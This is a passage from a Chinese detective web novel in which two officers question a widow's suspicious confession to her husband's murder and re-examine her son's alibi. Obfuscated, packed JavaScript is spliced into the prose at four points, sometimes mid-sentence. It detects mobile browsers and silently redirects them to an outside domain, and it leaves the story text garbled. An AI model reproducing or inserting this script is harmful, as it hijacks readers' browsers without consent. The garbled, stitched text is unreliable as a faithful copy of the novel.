“走了,走了,别看了!”许姝背着登山包,站在几步开外的台阶上,远远地向班青喊道。 班青落在她身后几步的地方,站在一个乞讨的孩子面前,面带怜悯。 听见了许姝的喊声,她愣愣地转头看向前者,一只手指向小摊后孩子的方向。 知道她又要发善心了,许姝无奈地摇了摇头,从台阶上走下来,一把抓住班青,继续往前走。 口里抱怨道:“说了多少次了,摆摊乞讨的都是骗人的!你可别可怜别人了,净上当受骗!你可怜可怜我吧,一大早被你薅起来,爬这破山!” 班青还是不忍心,被她拉着,一步三回头地往回看。 突然,她停在原地不动。 许姝见身后没了动静,疑惑地转头看她。 班青却挣脱了她的手,“人家怪可怜的,我背包里装了点零钱,也不多,给他算了!” 说完,她哒哒几步飞速跑下了台阶,比兔子还跑得快,仿佛害怕许姝再次阻拦她。 许姝站在原地,抱着双臂,无奈地摇了摇头,喃喃自语:“你就上当受骗吧,啊!心甘情愿的!” 她站在不远处,露出“朽木不可雕也”的神情,嫌弃又无奈地看着班青从背包里取出几张钱,装作不在意地随意扔在那小乞丐身前的碗里。 那乞儿蓬头垢面,见讨到了钱,一大早就开了笔大单,强忍着喜悦,跪着挪到班青正前方,双手往前一扑,便要给她叩首。 班青多次干这种事,却从来没见过他那么大的阵仗,慌忙跳脚躲开。 许姝看她从假装冷酷转为慌忙躲闪的狼狈模样,没忍住笑意,捂着嘴巴哈哈地笑了起来。 半分钟后,班青走到她身旁。为了掩饰尴尬,这次换成班青拉着许姝往山上走。 许姝就这样任由她扯着自己往前,她只管放肆地大笑。 可爬到山腰的位置,便再也笑不出来了,耷拉着一张脸,累得生不如死。 “你啊,还说自己爱跑步,累成什么样子了?还是缺乏锻炼!”班青摇了摇头,很是看不上许姝的体力。 嘴上说着着,还是递给对方一方手帕。 许姝累得说不出话来,喘得像个漏电的破风扇,只能听着对方的挤兑,辩解不出一个字。 班青看她实在累得不成样子,拉着她在旁边的石头上坐下来,“歇歇吧,先喝点水,缓一缓。” 许姝歇了好半天,终于有点人样了。 她将散落到脸颊上、贴了一脸的头发捋到耳后,终于有了机会辩解:“谁能跟你们警察比体力?我就是个小小老师,整天上课,从早到晚站着,体力已经很不错了。” “嗯,是很不错了。” 班青将许姝脸上剩下的一缕头发捋到耳后,然后像小孩一样,四仰八叉地瘫倒在石头上:“哎呀,累死我了,快结束吧!” 许姝扭头看她:“还是汪老师的事情?” 班青从石头上滑落下来,顺着惯性坐在地上,侧过身子看向在一旁坐着的许姝:“你们是带一个班的同事,平时对他了解多吗?” “汪老师对学生挺好的,教学也勤勤恳恳,挺负责的。怎么了,突然问我这个?哎,不对啊,你刚出门的时候不还说今天不谈工作?”许姝戏谑地打趣她。 班青一愣,而后啪一下拍在自己脸上:“对啊!出来玩,想那些东西干什么!” 于是两个人相视一笑,肩并肩地靠在背后的大石头上,任由山上的凉风抚过自己。 已经是九月份,虽说关图县还是非常酷热,但昨天下了一场雨,换来今天难得的凉爽。 班青突然想到些什么,半撑起身子,从裤子的口袋里掏了掏,却掏出半个手掌大小的海螺。 “刚才那个小乞丐送给我的,说能听到海的声音,我听听看。”说着,忙将海螺放到她耳边,可只听到一阵阵凉风拂过耳边的动静,哪有什么大海的声音? 班青失望地撇了撇嘴,见许姝正扭头一脸戏谑地看着自己,尴尬地摸了摸鼻子。 “估计这会儿风声太大,所以才听不着的……” 许姝也不说话,像老师看着学生似的,就这样笑看班青,看得她越来越尴尬,最后直接将海螺扔在了不远处的草丛里。 “别啊,扔了干什么,几百块钱从那乞丐手里买的,扔了多可惜!” 许姝忙起身又捡了回来,臊得班青眼珠子不停躲闪。 “怎么,真想看大海啊?”许姝仰躺着,不经意地问道。 班青想了想,狠狠点头,“想啊,我们内陆的人对大海当然向往啦!” “那就去吧!等这事儿完了,咱俩一起去。”许姝撑着脑袋,侧过身体,认真地看向班青。 班青晃头晃脑道:“好吧,既然某些人盛情相邀的话。” 许姝嗤笑一声后,两人视线撞到一起,随即都开始捂着肚子张狂地大笑起来。 两人接着又吹了片刻的凉风。 许姝看班青似乎是忙得彻底忘记了,主动挑起话头:“我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056074|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道该不该说,毕竟汪老师命都——” “嗯?”班青立马扭脸看着她。 显然,她和许姝又忘了早上出门说的话。 许姝看她还是没想起来,只好无奈地提示:“之前你不是让我问问1班的班长吗……” “啊!对对对,我给忙忘了。薛同学怎么说?” “她跟我讲,有一次晚自习的时候,她在楼梯拐角看到汪老师收了家长的钱。” 班青挑眉,毫不意外。 许姝继续讲道:“除此之外,跟她玩得好的李明明也反映了差不多的情况。” 班青点点头,不由得想到周琳伪造的那封恐吓信。 看来,那封信也不完全是假的。 “你一点儿不意外吗?”许姝疑惑地问道。 “不意外啊,这些情况我们已经掌握了,汪明远他老婆说的。” 班青从手边的石头缝里掐了一根野草,放进嘴里咬,咕哝道:“这些孩子也是,有什么就说什么嘛,搞得神神叨叨的。” 许姝想到薛怀中的事情,便想替薛如许解释一番,但又苦于不知道如何开口,想了想还是算了。 “青春期的孩子嘛,脑回路不一样,挺正常的。而且薛同学她性格就是这样,虽然有时候看着不太靠谱,但接触久了才能发现,她实际上是很沉稳的性格。” 许姝觉得没能帮上朋友的忙,有些不好意思地说道:“你们都已经知道了,看来我又没帮上忙。” 班青将嘴里的草杆子吐出来,“瞎说什么呢?” 一阵微风吹来,许姝幽幽问道:“对了,薛同学说的那个诡异的娃娃……” 风力突然变大,将她的柔柔的话语淹没在搅动的空气里。 “呸,呸!吹我一嘴的沙子……歇好了吧?走了!”不等许姝回答,班青一把拉起仰躺在地的许姝,换来后者一声哀嚎。 两个人一路往上爬,快到达山顶的时候,班青接到了白杨的电话。 “青,回来了!周琳自首了!” 班青登时就要拽着许姝原路往山下跑,却见到许姝累得连连摆手。 “你先走吧,忙你的工作去,我自己慢慢来。” “那……我真走了啊?”班青话音刚落,见许姝肯定地点了点头,当即一个转身就往山下跑。 许姝一只脚跨在岩石上,喘息片刻之后,突然想到什么,两只脚踩在石头上,远远地一看,班青已经跑出去很远。 “哎!我话还没说完呢……” 23. 自首 和之前在病房的时候相比,这次见面,周琳的脸色更差了。 上次见她失魂落魄的模样,班青和白杨就料想她应该是碰上了什么情况,只是没想到,还没过几天,她竟然来局里自首了。 周琳沉默地坐着,说是来自首,却一句话不说。 白杨和班青等了她半天,也没看见她有别的反应。 班青感到自己被耍了,“周琳,你既然是来自首的,就把你的问题交代清楚。也别耽误大家的时间。” 周琳只是坐着,像是进入了她自己的一个小世界,封闭在里面。 白杨脾气上来了,猛地站起来:“周琳你什么意思?是戏耍我们来了是吗?我劝你——” “汪明远是我杀的。”周琳出其不意地蹦出来一句。 班青在桌子底下轻轻地踢了白杨一脚,示意他赶紧坐下。 接着,又凝视对面的周琳,“你为什么杀他?” “还能为了什么?不想过了,不想和他过了!我忍了他一辈子,老了老了,我再也忍不了了!” “秦晓峰的威胁信是怎么——” 周琳打断班青的问讯,斩钉截铁地承认:“那封信是假的,是我伪造的!我知道汪明远和秦晓峰的过结,也知道秦晓峰这个混不吝纠缠了汪明远好多年,所以我就用秦晓峰的口吻写了那封信。” “汪明远已经忍了秦晓峰这么些年,加之汪明远也五十多岁了,没几年就要退休,他还有什么可怕的?你凭什么笃定他会因为红包这件事上钩?”班青继续问她。 “就凭我和他一起生活了二十几年,我最了解他,我比他自己还了解!他跟我是一类人,最爱面子,哦不,他比我还爱面子。 “几十年来,他在他学生同事面前的表现,全部都是装的!他最是虚伪,最是道貌岸然,所以也害怕流言蜚语,最害怕名声尽毁。 “当年秦晓峰三天两头地到学校和家里找他的麻烦,害得好事之人对他指指点点,我当时就知道,他一定恨极了秦晓峰。 “如果秦晓峰再掌握了他收红包的证据,依照秦晓峰的性格,肯定会毁了他的名声,让他名声狼藉,所以汪明远不得不上钩。” 周琳脸上露出几分疯狂,嘴角讥诮,那是一种看透了汪明远本色和计划得逞的得意。 “那……14日的晚上,你怎么到案发现场的?”班青来了兴致。 “从灵堂溜出去的。那天已经很晚了,客人和做法事的人都离开,我借口给我小姨夫守灵,趁着表弟他们都在打麻将,从灵堂溜了出去。 “你们都查清楚了吧?他家就在城南水泥厂不远的地方。你们不是也找我表弟打听了吗?他都已经告诉我了。” 周琳冷笑着,仿佛因为看穿了警察的试探,产生十足的快感。 班青倒也干脆,回应道:“是查清楚了你们两家的关系到底如何。你儿子也告诉了我们,两家的实际情况并不如你描述的那样热络。” 周琳听见她提到了周凯,当即乱了心绪,显出几分错愕,很快又平复了下来。 白杨问道:“停灵需要七天,也就是说,你在案发前至少一个星期,就已经计划谋杀汪明远。你事先把伪造的威胁信给了他,他如约在14日去了城南水泥厂。随后,你在水泥厂杀了他?” “对,是我做的。”周琳浑然不在意,相当轻描淡写。 “根据监控来看,案发时有三个人,另一个人是谁?” 白杨一边问着周琳,一边拿出了城南水泥厂14日晚的监控视频。 视频里,身着黑色T恤的男子,拖着一名白色T恤的男子,两人身后不远处,紧紧跟着一个短头发的人。 周琳一下变得有些慌张,凑近视频,看画质相当模糊,这才放心,“最后那个人是我,黑色衣服的是耿登,是我找他来杀汪明远的。” “他怎么会同意?”班青紧紧盯着周琳,不想错过她任何一个微表情。 “他和汪明远一个地方的人,几年前我跟汪明远回他老家办事,偶然碰见,混了个脸熟。前不久我在街上碰见了他,穷酸得很,应该非常缺钱。所以我主动约他,答应他事成之后给他十万。” “他就这么同意了?”班青有些不可置信。 “有什么不同意的?一个农村人,挣多久才能挣十万?便宜他了!” 班青听完深深地皱着眉头,相当看不惯她的傲慢和不可一世。 白杨坐在班青旁边观察了一阵,好像相信了周琳的陈述,“行吧,那你讲讲你的作案经过。” 周琳嗤笑一声,但没藏着掖着。 “跟视频里一样,我和耿登约汪明远到水泥厂。但在工厂外,汪明远就发现了我们。他察觉到不对劲,想要逃走,所以我就让耿登打晕了他。” 白杨反问:“你不是恨极了汪明远吗?怎么不当天晚上就解决了他?正好你也有奔丧作为借口。” “我原是这么打算的,但我家大多数的钱都在汪明远手里,14号晚上他死活不肯交出来,我就让耿登打了他一顿。后来,为了营造出他被人绑架的假象,我就带走了沾着他血液的T恤。” “那你怎么不在15日拿出来?” “你当我没长脑子吗?我15号下午刚回家,学校就报了警,我那个时候拿出来,不是招惹你们怀疑我?而且……他太能忍,16号晚上才渐渐撑不住…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056075|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “所以你选择16号晚上动手?” “嗯,我让耿登点火烧死了他。”周琳嘴角浮现一丝恨意,“网上说,尸体充分碳化之后验不出DNA,最近的天气又热,一烧起来什么都能烧干净,到时候你们就只能给他报失踪,查不到我头上。” 而后,她周琳不无可惜地叹息:“但是他运气真好,竟然没被烧干净,还让你们一下就查了出来。” “嚯,专业知识还挺强!那你的同伙耿登呢,他又是怎么死的?”白杨挑眉,转笔头的手指突然停下,点点头,好像被她说服了。 “我不知道,汪明远死之前跟他扑杀一番也不一定,或者大火起来得太快,他杀了汪明远之后没来得及跑出去也是可能的。不管怎么样,我没杀他,你可以查聚业小区的监控。” 周琳脸上相当诚恳,一幅“我绝对没在这件事情上说谎”的样子。 班青翻了翻记录,又回到了最初的问题,“还有个问题,你之前说,你忍了汪明远一辈子,再也忍不了了。是什么契机,让你再也忍不了?或者,我换一种表述,你为什么突然就忍不了,决定动手?” 周琳冷笑一声:“如果……我说我是为了真爱,你相信吗?” 班青耸了耸肩膀,显然不相信。 “真爱?康尼公司的那个部长?”班青的脑袋晃了晃,“说实话,不怎么信。” “哈哈哈哈,也对,我这把年纪了,还说什么真爱来骗你。” 周琳身体突然前倾,故作神秘道:“其实……是为了钱。为了汪明远弟弟的那笔赔偿金。” 她说完之后,满意地笑了笑,又坐回了椅子。 班青和白杨故意装作不知,甚至还放大声音,故作不解地问:“什么钱?什么赔偿金?” “不知道吧你们,汪明远在河阴村老家的两个亲弟弟,以前在煤矿做苦力,煤矿塌了,一死一残。”周琳抚了抚鬓角的头发,轻描淡写道。 班青:“汪明远拿走了那笔赔偿金?有多少钱?” 周琳:“差不多两百万吧。” 班青:“为了独吞这笔钱,你和耿登合谋绑架了汪明远,让耿登逼问他这笔钱的下落,问出来后就杀了他?并承诺耿登,事成之后给他十万,结果他……死了?” 周琳嗯嗯几声。 好像是心里的包袱都没了,相比于一开始的状态,她显得解脱和轻松。 周琳被人带下去后,气氛突然凝滞起来,白杨和班青都安安静静没有说话。 班青没抬头,一边写写划划,一边问在屋里走来走去的白杨:“你是不是也觉得有些奇怪?” “嗯,不对,很不对。” 24.不在场证明 晚上10点多钟的周末,就剩下了白杨和班青。 两人稀里糊涂地吃完了泡面,味同嚼蜡,吃完了也没吃出什么味道来。 白杨把白色的塑料叉子一扔:“这破烂叉子,谁设计的,手里也使不上劲。” “扔远点啊你,再把汤溅我身上。”班青嫌弃地后仰。 白杨笑嘻嘻地没回应,良久后,才开始了他的分析。 “周琳,半真半假。比如那封恐吓信,应该是她伪造的,她和汪明远住在一个屋檐下,编出一封有真实信息的恐吓信,对她来说,并不难。 “秦晓峰可以通过跟踪,知道汪明远收红包,但是不可能知道得这么细节,毕竟他也有工作要干,哪能一天到晚跟踪汪明远,还一件件地都记录下来。” 班青赞同地点头。 白杨继续分析。 “另外,结合我们之前的推测,还有聚业小区门口的监控,血衣服是她带回去的。所以14日水泥厂监控中,在后面跟着的黑衣短发人,大概率就是她。她的确趁乱逃出葬礼现场,参与到了14日的作案中。” 班青正襟危坐,点点头,听得很认真,“那你觉得哪部分是假的?” 白杨坐起身来,开始在屋子里走来走去。 “她和耿登合谋杀汪明远,那部分是假的。有好几个原因。 “一是,正常逻辑下,不会有人胆大到和一个只见过几次面的人合谋杀人。她只见过耿登几次,对他完全不了解,不会贸然拉他入伙。 “二是,结合刚才周琳的反应,她不确定监控视频是否清晰,所以我们给她看的时候,她一阵慌乱,应该是怕我们发现被拖行的人不是汪明远,而是耿登。” 班青接过话头:“而且她解释不清楚耿登的死因,只是笃定自己没杀人。男女力量悬殊,耿登是个干苦力的,周琳想杀他,不太可能,汪明远……倒很有可能…… 白杨斜靠在办公桌旁,猜测道:“耿登可能是知道汪明远拿走了赔偿金,正好他得了绝症,又有两个孩子要养活,需要钱,所以就威胁汪明远去水泥厂,却被汪明远反杀。” 班青同白杨不谋而合:“今天周琳的供词,只能说明,她在14号晚上的确去了水泥厂,参与了这个案子,但是汪明远和耿登都不是她杀的。” 班青沉思了一会儿,提出自己的疑惑。 “但是我不明白的是,既然她没有杀人,为什么突然自首? “时间上,她借口奔丧,且她表弟家又没人看到她离开灵堂,所以她能伪造出不在场时间。 “地点上,她表弟家虽然离城南水泥厂近,但那一片没有监控,水泥厂远处的监控视频也模糊,她完全可以否认去了现场。 “她之前跟咱们有来有往,不像是个心态不稳的,为什么今天反而来上这么一出漏洞百出、画蛇添足的自首?” 白杨也感到纳闷,“而且,你发现没有?她今天所有的语气都很确定,跟下结论一样,好像巴不得咱们赶紧给她定个罪。” 班青:“我也感觉到了,她好像希望这个案子就到此为止,不要再往深了查。难道……她是在袒护谁?” 白杨和班青你看我,我看你,一个早就被排除了的姓名浮上两人的心头:周凯。 在周琳漏洞百出的自首后,班青和白杨当即决定将周凯再次列入调查。 案发没多久,那时候民警们就排查了周凯的轨迹,不过他缺乏作案时间和地点,因而嫌疑很快便被排除。 周凯就读的安城大学一直开学比较早,每一年的开学时间差不多都在八月中下旬。 案发时,本来还没有到安城大学的开学时间,但是按照学校惯例,大二学年到大三学年的暑假,每个学生都必须参加为期一个月的社会实践,否则得不到该部分的学分。 而今年安城大学社会实践的时间就定在了7月20日至8月18日,紧接着的8月19日便是开学的日子。 周凯所在的实践小组被分配到了宁城,一个比安城繁华许多的地级市。 因此,从8月14日中午汪明远失踪,到8月16日晚上他被烧死,整个过程周凯都有充分的不在场证明。 按理来讲,他当时应该在宁城。 根据案发初期的调查结果来看,他当时的确在宁城,有他一个小组的学生和负责老师可以作证。 周琳画蛇添足地来了这一出之后,白杨和班青便重新展开了对周凯的调查。 两人没有打草惊蛇,偷偷去了安城大学。 先是找到负责该组社会实践的老师,接着又找到和周凯一个小组的组员,对他们进行了询问。 这一问,周凯没处理掉的小尾巴,自然而然地漏了出来。 原来周凯所在的整个小组都提前在12日就结束了实践活动,整整一个月的时长,被他们缩短到24天。 12日晚上,小组全员聚完餐之后,在宁城度过了最后一个夜晚。第二天,也就是13日,便各自回家的回家,回校的回校。 组员们和老师都撒了谎。 但不是为了给周凯作伪证,也没有别的什么阴谋,仅仅是为了自保。 安城大学要求为期一个月的社会实践,按照规定,三十天就得三十天,少一天也不行。 但是别的大学都没有这样的要求,暑假拢共也就不到两个月的时间,这一下就去了一半儿,学生怎么会愿意? 另外,要是完成了实践的要求,提前回家为什么不可以? 老师也不情愿,毕竟谁会愿意被占用休假的时间,并且还要作为学生的联络员,以确保他们的安全? 尽管这样的规定太死,反对的人更是多如牛毛,但是学校领导的脑筋更死,绝不松口。 因此,学生和老师便达成了心照不宣的默契:学生提前结束实践活动,老师只装作不知情。 所以8月20日警察向他们了解情况时,学生们担心暴露提前结束实践的事实,害怕不但拿不到学分,反而遭到学校的处分,就只告诉警察,除了周凯因为家事提前一天结束实践,其余人严格按照学校的要求,在8月18日结束。 而被询问到的负责本组的老师,看着警察正襟危坐的严肃模样,虽然猜出肯定出了事,但害怕自己要负安全责任,只能也跟着他们撒谎。 周凯的作案时间就有了…… 从安城大学出来之后,班青和白杨认定事情朝着有利的方向发展,所以信心满满,直接驱车回了关图县。 在路上,班青吩咐蔡小新和梁斌去查询时间为8月13日到16日,起点为宁城,目的地为关图县的人员出行记录。 两人很快就回到了关图县。 本以为胜券在握,但是一进门,梁斌和蔡小新就告诉他们一个不幸的消息:没有周凯前往关图县的出行记录,只有从宁城到安城的记录。 记录里显示,周凯购买了从宁城到安城的火车票,在13日上午从宁城出发,当天晚上接近八点的时候到达了安城。 班青突然想到周凯的相关信息,想到他的辅导员曾告诉警察,他一直不住校,而是住在安城自己家的房子里。 两人顿觉一阵挫败和烦躁,但是眼下顾不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但是14日下午5点左右,一个穿着蓝色工服的男子从周凯所在的楼栋里走出。两人身形相似,该男子戴着一顶鸭舌帽,还戴着个口罩,看不清他的脸。 “这不是搬家公司的那小子吗?我那天见过他。”保安站在众人身后,突然张口道。 他刚从外面走进来,汗水打湿了上身的灰色制服,此刻正拿起别在腰上的帽子扇风。 “是这个人吗?你帮我们认认。” 班青和白杨对视一眼,好像在彼此的眼里看到了希望,她有些惊喜地说着,一边拿出手机里周凯的照片给他看。 保安只略略一看,当即就肯定地猛点头。 “可不就是他吗?这小子也不知道怎么进来的,突然从楼里走了出来,走到门口就让我给拦住了。问他登记没,他说没有,很不在乎似的,气得我当场就批评了他!” 两人一刻不敢停歇,又查了小区路口和沿途的监控。 视频里,身着蓝色工服的周凯在5点15分,拎着一个小包,上了一辆白色的汽车。 白色汽车载着他径直上了通向关图县的高速路。 两人随即将白色汽车的车牌号发给了在关图县的蔡小新和梁斌,之后便继续查看监控。 只看到一半,梁斌和蔡小新传来了消息。 两个人按着车牌号一直查找,终于在14日晚上7点37分,高速路出口的监控摄像头里出现了这辆车。 白色汽车里一共三个人,前排是司机,后排是两个乘客。 下了高速路后,白色汽车载着的两名乘客,一个在第二医院门口下车,另一位则在城北的一个小区门口下了车。 陆陆续续在路边放下两名乘客后,白色汽车行驶到城郊的一个加油站,司机随后走了出来。 此时,车里空无一人。 白色车辆在安城上了高速,几个小时后出了关图县高速路口,在此期间,本应该出现在车上的周凯消失了。 事情又变得复杂起来。 25.试探 班青只觉得自己又让人摆了一道,抬腕一看,手表的指针已经指向晚上八点。 白杨甚至有些烦躁,这一家人全神神叨叨的,没有一个正常! 不过还好,好歹推翻了之前的调查结果,这个周凯至少有充分的作案时间,只要明天找到那辆白色汽车的司机,就能顺藤摸瓜,真相迟早水落石出! 两个人一整天在安城和关图县来来回回,一会儿查监控,一会儿找人问话,连饭也只是随便对付了两口,这会儿突然停下来,饿意登时就被放大。 “小黄鱼你不吃啊?那我吃!”没等到班青回答,白杨起身一把拿过班青面前烤好的小黄鱼。 他一心一意地大快朵颐,彻底忽视对方扔过来的白眼。 “烤牛肉多好的东西,你怎么不吃呢?别浪费了,给我给我!”白杨话没说完,又是一个起身。 “他家排骨挺新鲜的,我吃了一口,很不错的,你也不……” “啪!”班青将手里的筷子重重地扔在桌子上,“你再拿了试试看!给我放下!” 白杨伸到一半的右手悻悻然地缩回来,嘴里嘟嘟囔囔:“嘿,你看你,真是的,一块儿排骨你至于吗?” “至于,至于,就至于!”班青盯着白杨目不转睛地看,恶狠狠地从排骨上啃下一大块肉,像是在啃着他的肉。 白杨搓了搓手臂上渗出的鸡皮疙瘩,到底是个厚脸皮,拿起吃剩了一半的小黄鱼接着啃。 “就这么爱吃排骨啊?吃不腻的?难怪你那个当老师的朋友,许,许……” “许姝。” “啊对,看我这个记性!难怪她每次给你送饭,都是送的红烧排骨,差点把我都吃腻了——” “行行行,下次我让她少做点,就做我一个人的。”班青说完,将啃得干干净净的排骨扔到一旁的碟子里。 “别呀,就指着你那心灵手巧的朋友给改善点伙食,食堂多难吃啊。”白杨想到食堂最近越发偷工减料的菜,连手里的小黄鱼也不香了。 其实之前食堂的饭菜虽说不是一顶一的好,但是大锅饭,也别要求太高,将就将就也就得了。 可是最近两年不知道怎么回事,换了个师傅,饭菜越来越难吃,多次反映都没用,实在是将就不了了。 班青正要将手伸向另一串烤排骨,突然想到了爬山的那日。 “对了,你一说到许姝,我才想起来了。之前梁斌和蔡小新不是去了关图中学调查吗?汪明远带的高三1班的班长,薛如许,后来许姝又找机会帮我问了她一次。” 白杨伸手扒拉着紧紧粘在舌头上的鱼刺,口齿不清地问道:“你朋友问出什么了?” “没有什么新的信息,也是关于汪明远收学生家长红包的事情。薛如许看到了,他们班的另一个同学李明明也看到过。” 班青看吃得差不多了,拿过旁边的水喝了几口。 “呵呵,这个汪明远倒是‘生财有道’。”白杨不由得嘲讽道,随即又感到疑惑,“那她为什么神神叨叨的?” 班青将手边的餐巾纸递到白杨伸过来的手上,然后耸耸肩,无奈地道:“许姝说那孩子性格就这样,沉稳谨慎,不怎么乱说话。” 白杨擦了擦嘴角,将废纸扔到桌子底下的垃圾桶里,抱怨着:“你看看,人家一个高中生,性格谨慎沉稳,你再看看那个蔡小新,他那嘴巴跟个大喇叭一样,恨不得——” “行了,小新就是爱贫嘴,别的什么缺点都没有,你别太严格了。” “得,就我严格,就我要求多,就我爱多嘴!”白杨说完,一个跨步就往前走去。 “你慢点,等等我!”班青也跟上。 此时,晚上十点多的安城被笼罩在灯红酒绿中,比之人口更少、级别更低的关图县,这里显然更加繁华。 两人并肩走在路边,在已经持续了大半个月的繁忙中,偶然偷到一点闲暇。 白杨突然侧过头,认真地问班青:“哎,你家不就在安城,要不……回去看看?” 单位里从没有秘密,虽然他不爱打听别人的八卦,但对班青和她家人的关系也略有耳闻,因而语气中带了些试探和小心。 班青只顾着走路,仿佛没有听见似的。 气氛一下子凝滞。 白杨突然觉得被他的胸包勒得难受,干脆将它转到身后。 “……再说吧,等我有时间了再回去,这会儿不着急。要是案子能在国庆节前办完了,我就十一的时候回去一趟。”班青不慌不忙地走在他前面几步,幽幽地传来一声。 她本来的计划是十一带着许姝回家一趟,给她介绍介绍自己的父母,也让她能尝尝她妈妈烧的菜,毕竟她曾经无数次跟她夸下海口,如今无论如何也是要验证一次的。 之后嘛,两人再去一趟许姝的老家,去一趟那个海滨的小城市,看一看大海。 只是这案子太复杂,不知道到时候有没有时间了。 班青突然站在原地等着白杨,然后饶有兴致地看着他,开玩笑地问道:“你呢?到时候打算去哪儿玩?” 白杨用手指抓了抓被风吹乱的发丝,满不在意地说:“没想好,到时候看吧。反正我就一孤家寡人,光棍一个。” “……” “坐吧,别紧张,我们就是想了解一些情况,没别的意思。”白杨招呼着周凯坐下,又拉过一旁的椅子自己坐了。 周凯局促地推了推鼻梁上的眼镜,一双眼睛隐藏在黑色的眼镜框里,看不清其中的神色。 “蔡小新,你那两个破面包啃完了吗?吃完了就赶紧的,过来!” 角落里,蔡小新正优哉游哉地嚼着最后几口面包,闻言,使劲往嘴里塞,塞得嘴巴鼓鼓囊囊,塞得他快要噎得背过气。 “来了!”他拿过一旁喝了剩下最后一口的牛奶,咣咣地顺下嘴里的面包,好歹是吃了个干净。 “实在不好意思啊,把你叫过来。你妈妈的事情,你知道……”白杨目不转睛地盯着他,想从他脸上看出一丝丝异样。 但周凯从进屋之后就一直低着头,恹恹的,一副无精打采的模样。 他闻言,抬起头看了看白杨,失落地回答:“我已经知道了。我之前一直觉得我妈有嫌疑,所以她走到今天这一步,我也早就有心理准备。但是她真的自首了,一时间还是觉得难以接受……” 周凯突然急速地取下他的黑框眼镜,将头埋在手心里。 蔡小新端着一杯水,刚一走近两人,就听见周凯低声压抑地哭腔。 他扭头看向白杨,疑惑地用表情无声地询问。 白杨回看他一眼,摇摇头,冲他使了个眼色,示意他放下水杯。 几分钟之后,周凯调整好情绪,双眼通红,站起身,满脸不好意思地对他二人点头抱歉。 白杨坐在一旁的椅子上,双手交握,一言不发,只当没看见。 但蔡小新不同。 他看见周凯红了的眼眶和瘦削的身影,登时一阵心软,觉得对方当真是可怜到了极点。 毕竟和自己相差不了几岁,家里父亲死状凄惨,一直找不见凶手,最后竟然是自己母亲认罪,这样的事情放在谁身上都难以接受。 虽说他有嫌疑,但万一不是他呢? 蔡小新看白杨还是坐在椅子上,老神在在,没有要劝慰的趋势,只好走向前,拍拍周凯的肩头,表示安慰。 蔡小新难得正了脸色,认真地说道:“先坐吧——” “耿登听说过吗?嗯?” 周凯才刚坐下,拿着黑框眼镜正要戴,蓦然听见白杨的问题,手上突然一顿。 “耿登是谁?从来没有听过。”炯炯有神的眼眸直直地看着正翘着二郎腿的白杨,眼里无限的认真和疑惑。 最后一个字刚落下,他鼻梁上的眼镜已经戴得整整齐齐。 “你没有听说过啊?那算了,你一个小孩子不认识也正常,可能只有你爸妈才认识。” “可能吧,的确是没有听他们两个提起。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16066146|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你今年上大二?” “这学期大三了,上学期念的大二。” “安城大学是吧?不错啊,是个好大学,有出息!”白杨突然给他一顿猛夸,说完还转过脑袋跟蔡小新递了个眼色。 蔡小新也连连附和道:“安城大学那肯定是个好大学了,小弟你往后肯定有出息!” 周凯就这样看着两人你来我往,也不知道他们葫芦里装的什么药。 一时又揣测不透两人的心思,也不知道要说点其他的什么,只是谦虚地摆摆手。 “哪有哪有,就是个普通大学,能考上也是我运气好。” “你这就太谦虚了——哎,听说你们安城大学大二结束有个什么社会实践活动,是吧?你参加了吗,刚过去的这个暑假?”白杨话锋突然一转。 周凯听他扯着些不相干的问题,本来还猜不透他的意图,这会儿看他突然回到正题,并不感到意外,反而是觉得轻松了。 他照旧乖巧地回答:“参加了的,我们学校要求每个学生都要参加,不然没有学分的。” “为期一个月是吧?”白杨声音平淡,听不出什么情绪,好像是在唠家常。 “嗯,三十天。” “那你怎么提前结束了?” “任务提前做完——” 周凯的话说到一半,突然觉得不对劲,猛地抬头,却看见白杨和一旁歪坐在办公桌上的蔡小新也正紧紧盯着他。他瞪大的双眼复又隐藏在黑框眼镜后面,不自然地摸了摸鼻子。 蔡小新和白杨就这么看着他,好像在等着他给出一个合理的解释。 一阵沉默之后,周凯觉得似乎再不解释就说不过去了,心中一盘算,便将那几天的经过如数托出。 “其实我那时候是提前结束了实践活动,但这不是我一个人能决定的。我们效率高,活动进度也掌握得好,一路也没碰上意外,所以提前几天就完成了。 “我们大家伙儿一合计,反正还有几天就开学了,干脆提前结束,还能在开学之前再玩几天。 “我也不是故意隐瞒我的行程,给你们添麻烦,而是学校规定太死,实践时间不满一个月不让结束,不然就扣学分。” 